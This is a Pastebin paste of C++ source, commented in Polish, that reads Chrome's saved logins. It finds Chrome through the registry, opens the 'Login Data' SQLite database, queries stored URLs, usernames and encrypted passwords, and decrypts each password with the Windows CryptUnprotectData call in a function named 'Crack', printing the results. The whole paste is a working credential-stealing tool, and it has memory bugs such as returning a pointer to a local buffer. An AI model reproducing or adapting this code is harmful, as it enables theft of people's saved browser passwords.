Advertisement
Guest User

Rafał_Ł

a guest
Mar 30th, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.26 KB | None | 0 0
  1.  
  2. #include <windows.h>
  3. #include <iostream>
  4. #include "sqlite3.h"
  5. #include <ShlObj.h>
  6.  
  7. using namespace std;
  8. #pragma comment(lib,"crypt32")
  9.  
  10.  
  11. char * readRegistryValue() { //Sprawdzamy gdzie zainstalowany jest chrome wyciągając odpowiednią wartość z rejestru
  12. LPCSTR value = "Path";
  13. HKEY hkey = NULL;
  14. char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
  15.  
  16. if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, sk, 0, KEY_READ, &hkey) != ERROR_SUCCESS)
  17. {
  18. return NULL;
  19. }
  20. char path[MAX_PATH] = { 0 };
  21. DWORD dw = 260;
  22. RegQueryValueEx(hkey, value, 0, 0, (BYTE *)path, &dw);
  23. RegCloseKey(hkey);
  24. char *ret = new char[strlen(path) + 1];
  25. strcpy(ret, path);
  26. return ret;
  27. //delete[]ret;
  28. }
  29.  
  30. char *Crack(BYTE *pass) { // podając jako parametr typu BLOB (binarnie) z bazy danych deszyfrujemy hasło chrome
  31. DATA_BLOB in;
  32. DATA_BLOB out;
  33.  
  34. BYTE trick[1024];
  35. memcpy(trick, pass, 1024);// kopiujemy do tablcy trick aby użyć sizeof i znać długość ciągu kodu binarnego
  36. int size = sizeof(trick) / sizeof(trick[0]);
  37.  
  38. in.pbData = pass;
  39. in.cbData = size + 1;
  40. char str[1024] = "";
  41.  
  42. if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)) { // Funkcja z win api analogiczne do CryptProtectData - działa w drugą stronę
  43. for (int i = 0; i<out.cbData; i++)
  44. str[i] = out.pbData[i];
  45. str[out.cbData] = '\0';
  46.  
  47. return str;
  48. }
  49. else
  50. return NULL; //Błąd deszyfrowaia
  51. }
  52.  
  53.  
  54. bool getPath(char *ret, int id) { // Funkcja ustawia w ret drugą część ścieżki - / .../AppData/Local
  55. memset(ret, 0, sizeof(ret));
  56. if (SUCCEEDED(SHGetFolderPath(NULL, id | CSIDL_FLAG_CREATE, NULL, SHGFP_TYPE_CURRENT, ret)))
  57. return true;
  58. return false;
  59. }
  60.  
  61.  
  62.  
  63. void main() {
  64.  
  65.  
  66.  
  67. char *installPath = readRegistryValue();
  68. if (installPath != NULL) {
  69. printf("Installed in: %s\n", installPath);
  70.  
  71. sqlite3_stmt *stmt;
  72. sqlite3 *db;
  73.  
  74. char databasePath[260];
  75. getPath(databasePath, 0x1C);
  76.  
  77. strcat(databasePath, "\\Google\\Chrome\\User Data\\Default\\Login Data"); // Łączenie ścieżek do Login Data (hasła) w jedną całą ścieżkę do tej bazy
  78. cout << endl << "DB Path: " << databasePath;
  79.  
  80. char *query = "SELECT origin_url, username_value, password_value FROM logins"; //Zapytanie 'wydobywające" zawartości kolumn z bazy danych
  81. if (sqlite3_open(databasePath, &db) == SQLITE_OK) { // otwieramy bazę
  82. if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) { // przygotowujemy bazę do pracy z nią
  83. //Poniżej czytamy dane z bazy
  84. while (sqlite3_step(stmt) == SQLITE_ROW) {//Dopóki są dane w bazie
  85.  
  86. char *url = (char *)sqlite3_column_text(stmt, 0);
  87. char *username = (char *)sqlite3_column_text(stmt, 1);
  88. BYTE *password = (BYTE *)sqlite3_column_text(stmt, 2); //Zaszyfrowane pole hasła - wywołujemy z jego zawartością Crack
  89. printf("Url: %s\n", url);
  90. printf("Username: %s\n", username);
  91. char *decrypted = Crack(password); // Wywołanie najważniejszej funkcji Crack
  92. printf("Password: %s\n", decrypted);
  93. }
  94. }
  95. else {
  96. printf("Error preparing db!\n");
  97. }
  98. sqlite3_finalize(stmt);
  99. sqlite3_close(db);
  100. }
  101. else {
  102. printf("Error opening db!\n");
  103. }
  104. }
  105. else {
  106. printf("Chrome not installed!\n");
  107. }
  108. delete[]installPath;
  109. cin.get();
  110. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement